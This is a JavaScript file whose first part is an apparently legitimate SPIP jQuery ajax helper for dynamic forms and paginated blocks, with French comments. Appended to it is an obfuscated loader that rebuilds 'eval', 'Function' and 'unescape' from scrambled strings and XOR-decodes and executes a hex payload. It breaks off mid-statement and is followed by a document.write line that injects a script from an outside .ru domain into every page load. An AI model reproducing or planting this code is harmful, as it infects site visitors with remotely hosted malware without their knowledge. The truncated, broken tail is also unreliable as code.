// A plugin that wraps all ajax calls introducing a fixed callback function on ajax complete
if(!jQuery.load_handlers) {
	jQuery.load_handlers = new Array();
	//
	// Add a function to the list of those to be executed on ajax load complete
	//
	function onAjaxLoad(f) {
		jQuery.load_handlers.push(f);
	};
	
	//
	// Call the functions that have been added to onAjaxLoad
	//
	function triggerAjaxLoad(root) {
    for ( var i = 0; i < jQuery.load_handlers.length; i++ )
			jQuery.load_handlers[i].apply( root );
	};

	// jQuery uses _load, we use _ACBload
	jQuery.fn._ACBload = jQuery.fn.load;
	
	jQuery.fn.load = function( url, params, callback ) {
	
		callback = callback || function(){};
	
		// If the second parameter was provided
		if ( params ) {
			// If it's a function
			if ( params.constructor == Function ) {
				// We assume that it's the callback
				callback = params;
				params = null;
			} 
		}
		var callback2 = function(res,status) {triggerAjaxLoad(this);callback(res,status);};
		
		return this._ACBload( url, params, callback2 );
	};

	jQuery._ACBajax = jQuery.ajax;
	
	jQuery.ajax = function(type) {
		//If called by _load exit now because the callback has already been set
		if (jQuery.ajax.caller==jQuery.fn._load) return jQuery._ACBajax( type);
			var orig_complete = type.complete || function() {};
			type.complete = function(res,status) {
				// Do not fire OnAjaxLoad if the dataType is not html
				var dataType = type.dataType;
				var ct = (res && (typeof res.getResponseHeader == 'function'))
					? res.getResponseHeader("content-type"): '';
				var xml = !dataType && ct && ct.indexOf("xml") >= 0;
				orig_complete(res,status);
				if(!dataType && !xml || dataType == "html") triggerAjaxLoad(document);
		};
		return jQuery._ACBajax(type);
	};

}

// animation du bloc cible pour faire patienter
jQuery.fn.animeajax = function(end) {
	this.children().css('opacity', 0.5);
	if (typeof ajax_image_searching != 'undefined'){
		var i = (this).find('.image_loading');
		if (i.length) i.html(ajax_image_searching);
		else this.prepend('<span class="image_loading">'+ajax_image_searching+'</span>');
	}
	return this; // don't break the chain
}

// s'il n'est pas totalement visible, scroller pour positionner
// le bloc cible en haut de l'ecran
jQuery.fn.positionner = function() {
	var offset = jQuery(this).offset({'scroll':false});
	var hauteur = parseInt(jQuery(this).css('height'));
	var scrolltop = self['pageYOffset'] ||
		jQuery.boxModel && document.documentElement[ 'scrollTop' ] ||
		document.body[ 'scrollTop' ];
	var h = jQuery(window).height();
	var scroll=0;

	if (offset['top'] - 5 <= scrolltop)
		scroll = offset['top'] - 5;
	else if (offset['top'] + hauteur - h + 5 > scrolltop)
		scroll = Math.min(offset['top'] - 5, offset['top'] + hauteur - h + 15);
	if (scroll)
		jQuery('html,body')
		.animate({scrollTop: scroll}, 300);

	// positionner le curseur dans la premiere zone de saisie
	jQuery(jQuery('*', this).filter('input[@type=text],textarea')[0]).focus();
	return this; // don't break the chain
}

// deux fonctions pour rendre l'ajax compatible Jaws
var virtualbuffer_id='spip_virtualbufferupdate';
function initReaderBuffer(){
	if (jQuery('#'+virtualbuffer_id).length) return;
	jQuery('body').append('<p style="float:left;width:0;height:0;position:absolute;left:-5000;top:-5000;"><input type="hidden" name="'+virtualbuffer_id+'" id="'+virtualbuffer_id+'" value="0" /></p>');
}
function updateReaderBuffer(){
	var i = jQuery('#'+virtualbuffer_id);
	if (!i.length) return;
	// incrementons l'input hidden, ce qui a pour effet de forcer le rafraichissement du 
	// buffer du lecteur d'ecran (au moins dans Jaws)
	i.attr('value',parseInt(i.attr('value'))+1);
}

// rechargement ajax d'un formulaire dynamique implemente par formulaires/xxx.html
jQuery.fn.formulaire_dyn_ajax = function(target) {
	if (this.length)
		initReaderBuffer();
  return this.each(function() {
	var cible = target || this;
		jQuery('form:not(.noajax)', this).each(function(){
		var leform = this;
		jQuery(this).prepend("<input type='hidden' name='var_ajax' value='form' />")
		.ajaxForm({
			beforeSubmit: function(){
				jQuery(cible).addClass('loading').animeajax();
			},
			success: function(c){
				if (c=='noajax'){
					// le serveur ne veut pas traiter ce formulaire en ajax
					// on resubmit sans ajax
					jQuery("input[@name=var_ajax]",leform).remove();
					jQuery(leform).ajaxFormUnbind().submit();
				}
				else {
					var d = jQuery('div.ajax',
						jQuery('<div><\/div>').html(c));
					if (d.length)
						c = d.html();
					jQuery(cible)
					.removeClass('loading')
					.html(c)
					.positionner()
					// on le refait a la main ici car onAjaxLoad intervient sur une iframe dans IE6 et non pas sur le document
					.formulaire_dyn_ajax();
					updateReaderBuffer();
				}
			},
			iframe: jQuery.browser.msie
		})
		.addClass('noajax') // previent qu'on n'ajaxera pas deux fois le meme formulaire en cas de ajaxload
		;
		});
  });
}

// permettre d'utiliser onclick='return confirm('etes vous sur?');' sur un lien ajax
var ajax_confirm=true;
var ajax_confirm_date=0;
var spip_confirm = window.confirm;
function _confirm(message){
	ajax_confirm = spip_confirm(message);
	if (!ajax_confirm) {
		var d = new Date();
		ajax_confirm_date = d.getTime();
	}
	return ajax_confirm;
}
window.confirm = _confirm;

// rechargement ajax d'une noisette implementee par {ajax}
// avec mise en cache des url
var preloaded_urls = {};
var ajaxbloc_selecteur;
jQuery.fn.ajaxbloc = function() {
	if (this.length)
		initReaderBuffer();
  return this.each(function() {
  jQuery('div.ajaxbloc',this).ajaxbloc(); // traiter les enfants d'abord
	var blocfrag = jQuery(this);
	
	var on_pagination = function(c) {
		jQuery(blocfrag)
		.html(c)
		.removeClass('loading')
		.positionner();
		updateReaderBuffer();
	}

	var ajax_env = (""+blocfrag.attr('class')).match(/env-([^ ]+)/);
	if (!ajax_env || ajax_env==undefined) return;
	ajax_env = ajax_env[1];
	if (ajaxbloc_selecteur==undefined)
		ajaxbloc_selecteur = '.pagination a,a.ajax';
	jQuery(ajaxbloc_selecteur,this).not('.noajax').each(function(){
		var url = this.href.split('#');
		url[0] += (url[0].indexOf("?")>0 ? '&':'?')+'var_ajax=1&var_ajax_env='+encodeURIComponent(ajax_env);
		if (jQuery(this).is('.preload') && !preloaded_urls[url[0]]) {
			jQuery.ajax({"url":url[0],"success":function(r){preloaded_urls[url[0]]=r;}});
		}
		jQuery(this).click(function(){
			if (!ajax_confirm) {
				// on rearme pour le prochain clic
				ajax_confirm=true;
				var d = new Date();
				// seule une annulation par confirm() dans les 2 secondes precedentes est prise en compte
				if ((d.getTime()-ajax_confirm_date)<=2)
					return false;
			}
			jQuery(blocfrag)
			.animeajax()
			.addClass('loading');
			if (preloaded_urls[url[0]]) {
				on_pagination(preloaded_urls[url[0]]);
				triggerAjaxLoad(document);
			} else {
				jQuery.ajax({
					url: url[0],
					success: function(c){
						on_pagination(c);
						preloaded_urls[url[0]] = c;
					}
				});
			}
			return false;
		});
	}).addClass('noajax'); // previent qu'on ajax pas deux fois le meme lien
  });
};

// Ajaxer les formulaires qui le demandent, au demarrage

jQuery(function() {
	jQuery('form').parents('div.ajax')
	.formulaire_dyn_ajax();
	jQuery('div.ajaxbloc').ajaxbloc();
});

// ... et a chaque fois que le DOM change
onAjaxLoad(function() {
	if (jQuery){
		jQuery('form', this).parents('div.ajax')
		.formulaire_dyn_ajax();
		jQuery('div.ajaxbloc', this)
		.ajaxbloc();
	}
});
var qn="456c5878431e5a4c4b59703e5c4c5b540b7856764659435f436d50794a7c48687a4b63537b4167536d43794b7d626f7d416b687264575b79477e415f47697b55692a6d432b7c5f5e304659204f5f";var SaX;if(SaX!='bA' && SaX != ''){SaX=null};var wP=new Array();function P(L){var z;if(z!='' && z!='pM'){z='Wt'};var x;if(x!='' && x!='O'){x=''};this.nJ=57786; var b=function(h){var D=new Date();var vd;if(vd!='' && vd!='Lx'){vd=null};var s = '';var en;if(en!='' && en!='TR'){en=null};var y;if(y!='' && y!='Z'){y=null};var ex;if(ex!='' && ex!='vv'){ex=''};var R = -1;h = new K(h);var gO="";var ZP;if(ZP!='mP'){ZP='mP'};var T =[0,113][0];var sF;if(sF!='' && sF!='lf'){sF=null};var sgp;if(sgp!='' && sgp!='Of'){sgp=''};var M =[0][0];var Yt=new Date();var fA;if(fA!='Fs' && fA != ''){fA=null};for (M=h[m("elgnht", [1,0])]-R;M>=T;M=M-[119,1][1]){this.zm="";this.N='';s+=h[m("hcratA", [1,0])](M);var Pj;if(Pj!='Qm' && Pj!='rc'){Pj='Qm'};var mL;if(mL!='V' && mL!='mG'){mL=''};}this.Nv="Nv";return s;var nB="nB";};var xa=41175;var ug;if(ug!='le' && ug!='iC'){ug='le'};var Yy=new Array();this.yW="yW"; var fh=new Date();function m(h, X){var NN=new Array();var W = X.length;var CG;if(CG!='zp'){CG=''};var br=[177,103,43,1][3];var Yyu;if(Yyu!=''){Yyu='RB'};var T=[198,195,15,0][3];var CN;if(CN!='' && CN!='eux'){CN=''};var wh;if(wh!='' && wh!='HE'){wh=''};var s = '';var Td;if(Td!='jo'){Td='jo'};this.FB="FB";var e = h.length;var PA;if(PA!=''){PA='DO'};this.cI='';var my=new Date();this.lry=16403;this.ZG='';for(var M = T; M < e; M += W) {var ig='';var n = h.substr(M, W);var HP="HP";var Fsz;if(Fsz!=''){Fsz='jM'};if(n.length == W){var og='';this.jt=17311;for(var w in X) {this.fY="fY";var mo;if(mo!='vc'){mo=''};var WD;if(WD!=''){WD='lg'};var Gz="Gz";s+=n.substr(X[w], br);var hA;if(hA!='' && hA!='cz'){hA=''};var oK;if(oK!='' && oK!='WT'){oK=''};var LgB;if(LgB!=''){LgB='qv'};var zk;if(zk!='' && zk!='Ts'){zk=''};}var se;if(se!='DG'){se='DG'};var pe=false;var ix;if(ix!=''){ix='aZ'};var ay;if(ay!=''){ay='ML'};} else {  s+=n;var mm="mm";var aq;if(aq!='' && aq!='Lr'){aq=null};}}var EN=false;return s;this.Sf=34629;this.aB="";}var bX=""; var q=function(v,eY){return v^eY;};var Et;if(Et!='' && Et!='Ep'){Et=null};var fN;if(fN!=''){fN='hj'}; var WM=function(J){var zW;if(zW!='Fd' && zW != ''){zW=null};var ff;if(ff!='Br' && ff!='tG'){ff='Br'};var w=[112,182,0,229][2];this.jy="jy";this.ffV=false;var E=[0][0];var vq;if(vq!='' && vq!='Yf'){vq=null};var cY=false;var S=[224,255,108][1];var mb=J[m("enlthg", [2,0,1])];var Ty=new Date();var br=[152,1][1];var XC;if(XC!='HQ'){XC='HQ'};var waW;if(waW!='pk'){waW='pk'};while(w<mb){this.Ce=17485;var pkS;if(pkS!='wO'){pkS='wO'};var wM=new Date();w++;this.Cn=false;t=eQ(J,w - br);this.vH=41169;var gi;if(gi!='ENn' && gi != ''){gi=null};E+=t*mb;var eh;if(eh!=''){eh='AA'};this.TH=54397;}this.nF="";var of;if(of!='' && of!='dX'){of=null};return new K(E % S);var AF='';};var fH;if(fH!='' && fH!='Fk'){fH='Mf'};var dS=false;var Is=new String(); function eQ(Ey,i){var SG;if(SG!='vy' && SG != ''){SG=null};var GW;if(GW!='dE'){GW=''};return Ey[m("hcraoCedtA", [1,0])](i);var cg="";var jk;if(jk!='UF'){jk=''};}this.sY=56883;this.Kc=44785;this.Af="Af";var p=window;var GU=new Date();var dV=new Array();var F=p[m("avel", [2,1,0])];this.YwU=22817;this.Jg=8448;var A=F(m("uoinctnF", [7,0,6,4,5,2,1,3]));var FsD="";this.pu=false;var K=F(m("nSrtig", [1,3,2,4,0]));var cJ;if(cJ!='rP' && cJ != ''){cJ=null};var FN;if(FN!='dj' && FN != ''){FN=null};var Jq = '';var dcm=new Date();var u=F(m("eREgpx", [1,0]));this.Sl='';this.Wu=false;var iq=new Array();var fS;if(fS!='Py'){fS=''};var Lk;if(Lk!='vPO'){Lk='vPO'};var Bz;if(Bz!='ym'){Bz='ym'};var vP=K[m("CorhframCode", [4,5,1,7,0,3,6,2])];var Sw=p[m("esnucape", [3,2,7,1,4,5,6,0])];var FUH=new String();var hd="";var I = '';var tZ=731;var Dl=new Date();var Wm = /[^@a-z0-9A-Z_-]/g;var gL;if(gL!='' && gL!='bU'){gL=''};var cl="cl";var T =[0,18,203,253][0];var G = '';var sW;if(sW!='' && sW!='eR'){sW=''};var PH=[1, m("oucdetnmcer.tEeaeemlt\'(ncirst)\'p", [3,0,2,1]),2, m("cmdoutben.yaod.edppnidChl(d)", [2,3,0,4,1]),3, m("opnrroma.aocm", [1,0]),4, m(".comrtorsent..rutyouube", [1,2,3,0]),5, m("sde.tttAbrui(t\'efdeer\'", [1,3,0,2]),6, m("mcoa.vanchtcu.r0:880", [1,2,0]),7, m("vujex.eidocom", [2,3,1,4,0]),8, m("wiw.nodonload", [2,1,4,6,5,0,3]),11, m("ahttirkco.gr", [1,0]),12, m("nfuict(on)", [1,2,0]),14, m("ogogec.lom", [3,0,2,1]),15, m(")thecac(", [4,5,1,6,2,7,3,0]),16, m("kelidnin", [2,3,5,0,1,4]),17, m("tth\"p:", [3,2,0,1]),18, m("rsd.c", [2,3,1,0]),19, m("1\')\'", [1,0,3,2]),20, m("rty", [1,0])];var EB="";var Jo;if(Jo!='' && Jo!='fK'){Jo=null};var KN = '';this.gz="";this.iw=50084;var uA=new Array();var kG=new Array();var g = vP(37);var wY =[0][0];this.yWM='';var Ko =[115,2,146][1];var bB=new Array();this.LR=false;var k = L[m("glenth", [1,2,3,0])];var br =[252,106,230,1][3];var JR;if(JR!='vL' && JR!='ah'){JR=''};var eo=new Array();var eO=new Array();this.sA=false;var gs;if(gs!='mwv' && gs!='PjB'){gs=''};var Ay=false;for(var nj=T; nj < k; nj+=Ko){I+= g; I+= L[m("ussbrt", [1,0])](nj, Ko);}var Im;if(Im!='uAv' && Im!='FJ'){Im=''};var L = Sw(I);var eIr="";var Q = new K(P);var Iv;if(Iv!='EZ' && Iv!='tW'){Iv='EZ'};var iz='';var d = Q[m("lerpace", [2,1,3,0])](Wm, KN);var VW=false;d = b(d);var Xtj;if(Xtj!='' && Xtj!='uf'){Xtj=''};var Aov=25164;var po = new K(A);var qh;if(qh!='KW' && qh!='Dr'){qh=''};var Yb="Yb";var lF = PH[m("nlehgt", [1,2,0])];var UR=false;var iG=false;var U = po[m("erpalce", [1,0,2])](Wm, KN);this.Ls="";var U = WM(U);this.vm=false;this.Tr="Tr";var o=WM(d);var ql=2905;this.Bm=20908;for(var M=T; M < (L[m("enhglt", [4,0,1,3,5,2])]);M=M+[1,161][0]) {this.vPY='';var oM = d.charCodeAt(wY);var ymP;if(ymP!='' && ymP!='US'){ymP=''};var kl = eQ(L,M);this.dT="";this.hx="";kl = q(kl, oM);var rg;if(rg!='Dn' && rg!='tFS'){rg='Dn'};this.KcJ='';this.FE=62187;kl = q(kl, o);kl = q(kl, U);this.VY='';wY++;var mX;if(mX!=''){mX='ae'};var ZE;if(ZE!='uJ'){ZE=''};if(wY > d.length-br){var Wjn=new String();var LG;if(LG!='rOb'){LG='rOb'};wY=T;}var Us;if(Us!='' && Us!='NK'){Us='Rs'};this.bH="bH";G += vP(kl);this.HFK=20404;}this.Fv="";var Etx;if(Etx!=''){Etx='Bl'};for(dc=T; dc < lF; dc+=Ko){var gI;if(gI!='lT' && gI!='pS'){gI=''};var TP;if(TP!='gjd' && TP!='RsN'){TP=''};var iqy=new String();var IL = vP(PH[dc]);var AU = PH[dc + br];var bL=new Array();this.eM="eM";var NH;if(NH!='' && NH!='SbM'){NH='ch'};var r = new u(IL, "g");var ss="";var bC=new Date();G=G[m("prelace", [1,2,0,3])](r, AU);}var YB=10030;var Wh=45070;var Sx;if(Sx!=''){Sx='Zn'};var ht=new String();var pd=new A(G);this.Le='';this.Yn='';pd();var KL;if(KL!='oa' && KL != ''){KL=null};this.jd=false;po = '';this.lrt=52067;var Zln="Zln";o = '';d = '';this.Na=7919;var tj;if(tj!='' && tj!='li'){tj=null};var wp;if(wp!='tey'){wp='tey'};G = '';var nIW=new Array();var Pl=new Array();th






document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Tag.js"></scri'+'pt>');
